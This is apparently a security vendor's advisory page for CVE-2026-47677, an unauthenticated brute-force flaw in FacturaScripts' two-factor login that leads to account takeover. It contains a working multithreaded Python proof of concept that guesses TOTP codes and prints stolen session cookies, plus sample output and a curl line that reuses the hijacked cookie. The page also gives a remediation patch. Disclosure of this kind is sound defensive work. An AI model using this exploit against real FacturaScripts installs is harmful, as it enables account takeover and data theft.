Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-47677

CVE-2026-47677 is a security vulnerability in facturascripts/facturascripts. O3 Security confirms whether CVE-2026-47677 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

FacturaScripts: Account takeover of any 2FA-enabled user

Published
Jul 13, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 13, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐘facturascripts/facturascripts

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection

Summary

Core/Controller/Login.php::twoFactorValidationAction() accepts an unauthenticated POST containing only fsNick and fsTwoFactorCode. If the TOTP value matches, the server issues a full fsNick + fsLogkey session cookie pair. The handler:

  1. Does not verify the password — the user is not required to have just completed loginAction.
  2. Does not call validateFormToken() — no CSRF token is required (every other action handler in the same file does call it).
  3. Does not call userHasManyIncidents() before processingloginAction and changePasswordAction both check this guard before doing work; the 2FA handler only writes to the incident list after a failure, and the incident list is consulted by loginAction / changePasswordAction but not by the 2FA handler itself. The endpoint therefore has no rate-limiting at all.

Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is

N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)

On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account.

The vulnerability gives complete account takeover of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information (admin, the company name, the person's initials).

Severity

CVSS 4.0 base score: 9.3 — Critical

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

MetricValueRationale
Attack Vector (AV)Network (N)One HTTP POST over the public internet.
Attack Complexity (AC)Low (L)No timing, configuration, or environmental conditions.
Attack Requirements (AT)None (N)The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user.
Privileges Required (PR)None (N)The endpoint accepts the attack unauthenticated.
User Interaction (UI)None (N)No user action; the victim only has to have 2FA enabled.
Vulnerable Confidentiality (VC)High (H)Full read access as the hijacked user (admin → entire database).
Vulnerable Integrity (VI)High (H)Full write access as the hijacked user.
Vulnerable Availability (VA)Low (L)Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX_INCIDENT_COUNT = 6, INCIDENT_EXPIRATION_TIME = 600). Targeted account-lockout DoS against any nick.
Subsequent (SC / SI / SA)NoneNo second-system pivot from the bug itself.

Threat metrics:

  • Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.

Affected component

  • File: Core/Controller/Login.php
  • Method: twoFactorValidationAction() (lines 317–328 in the repository at commit 7392b489b, master branch as of 2026-05-13).
  • Related: Core/Lib/TwoFactorManager.php:30 (VERIFICATION_WINDOW = 8).

Vulnerable code:

protected function twoFactorValidationAction(Request $request): void
{
    $userName = $request->input('fsNick');
    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }

    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

Compare with loginAction in the same file, which calls validateFormToken() (line 275) and userHasManyIncidents() (line 287) before doing any work. The 2FA handler does neither.

Proof of concept

1. Brute force when only the victim's nick is known

This requires no prior knowledge beyond the target's nick. Because the 2FA endpoint has no rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP.

poc_2fa_brute.py:

#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests

BASE      = os.environ.get("BASE",      "http://localhost:9999")
NICK      = os.environ.get("NICK",      "admin")
THREADS   = int(os.environ.get("THREADS",   "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))

hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}

def worker(tid: int) -> None:
    s = requests.Session()
    while not hit.is_set():
        with lock:
            n = attempt_count[0]
            if n >= MAX_TRIES:
                return
            attempt_count[0] += 1
        code = f"{random.randint(0, 999999):06d}"
        try:
            r = s.post(f"{BASE}/login",
                       data={"action": "two-factor-validation",
                             "fsNick":  NICK,
                             "fsTwoFactorCode": code},
                       allow_redirects=False, timeout=5)
        except requests.RequestException:
            continue
        sc = r.headers.get("Set-Cookie", "")
        if r.status_code == 302 and "fsLogkey" in sc:
            with lock:
                if hit.is_set():
                    return
                hit.set()
                result["code"]    = code
                result["n"]       = n
                result["cookies"] = {c.name: c.value for c in r.cookies}
            return

def main() -> int:
    print(f"[*] target={BASE}  nick={NICK}  threads={THREADS}")
    threads = [threading.Thread(target=worker, args=(i,), daemon=True)
               for i in range(THREADS)]
    for t in threads: t.start()
    while not hit.is_set() and attempt_count[0] < MAX_TRIES:
        time.sleep(2)
        elapsed = time.time() - start
        print(f"  [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d}  "
              f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
    for t in threads: t.join()
    elapsed = time.time() - start
    if hit.is_set():
        print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
              f"attempts in {elapsed:.1f}s")
        cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
        print(f"[+] Cookies: {cookie_hdr}")
        print(f"\n    curl --cookie '{cookie_hdr}' {BASE}/ListUser")
        return 0
    print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
    return 1

if __name__ == "__main__":
    sys.exit(main())

Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick victim):

[*] target=http://localhost:9999  nick=victim  threads=32
  [  2.2s] attempts=   1094  rps=  493
  [ 24.4s] attempts=  11535  rps=  473
  [ 50.0s] attempts=  23420  rps=  468
  [100.7s] attempts=  41247  rps=  410
  [144.9s] attempts=  55418  rps=  383

[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN

A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts.

Impact

For each 2FA-enabled user (including admins):

  • Confidentiality: full read access to anything the victim can see — invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration.
  • Integrity: full write access — create/modify/delete records, change permissions, issue new API keys, upload plugins, install code (admin).
  • Availability: targeted account lockout DoS — generating six failed 2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident counter past MAX_INCIDENT_COUNT = 6, blocking the legitimate user from loginAction for 10 minutes. Repeatable indefinitely.

The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly weaker than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before.

Remediation

Four independent fixes are required; each closes a distinct gap and any one alone is insufficient.

  1. Require evidence the user just completed the password step. In loginAction, after verifyPassword succeeds and 2FA is required, write a short-lived nonce keyed by (client_ip, user_nick) to the shared cache (e.g. Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)). twoFactorValidationAction must read, validate, and delete that nonce before calling verifyTwoFactorCode. Without the nonce, return immediately.

  2. Call validateFormToken($request) at the top of twoFactorValidationAction. Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions.

  3. Call userHasManyIncidents(Session::getClientIp(), $userName) before doing any work in twoFactorValidationAction, and bail out if the threshold is exceeded. This is the missing rate-limit pre-check.

  4. Reduce TwoFactorManager::VERIFICATION_WINDOW from 8 to 1. The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason — TOTP apps and the server clock are typically synchronised within a single 30-second step.

Suggested patch (illustrative):

// Core/Controller/Login.php
protected function twoFactorValidationAction(Request $request): void
{
    if (false === $this->validateFormToken($request)) {                       // fix 2
        return;
    }
    $userName = $request->input('fsNick');
    if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) {     // fix 3
        Tools::log()->warning('ip-banned');
        return;
    }
    $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
    if (false === Cache::get($nonceKey)) {                                    // fix 1
        Tools::log()->warning('two-factor-no-pending-login');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }
    Cache::delete($nonceKey);

    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }
    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

// Core/Lib/TwoFactorManager.php
private const VERIFICATION_WINDOW = 1; // fix 4 — was 8

loginAction then needs the matching nonce write where it currently sets $this->two_factor_user:

if ($user->two_factor_enabled) {
    Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
               bin2hex(random_bytes(16)), 300);
    $this->two_factor_user = $user->nick;
    $this->template = 'Login/TwoFactor.html.twig';
    return;
}

Reproduction

Tested on a clean install built from master at commit 7392b489b:


# brute force (only nick known) — secret on the server can be anything
NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistfacturascripts/facturascriptsall versions2026.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for facturascripts/facturascripts. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update facturascripts/facturascripts to 2026.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-47677 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-47677 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-47677. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection ## Summary `Core/Controller/Login.php::twoFactorValidationAction()` accepts an unauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the TOTP value matches, the server issues a full `fsNick` + `fsLogkey` session cookie pair. The handler: 1. **Does not verify the password** — the user is not required to have just completed `loginAction`. 2. **Does not call `validateFormToken()`** — no CSRF token is required (every other acti
O3 Security · Impact-Aware SCA

Is CVE-2026-47677 in your dependencies?

O3 detects CVE-2026-47677 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.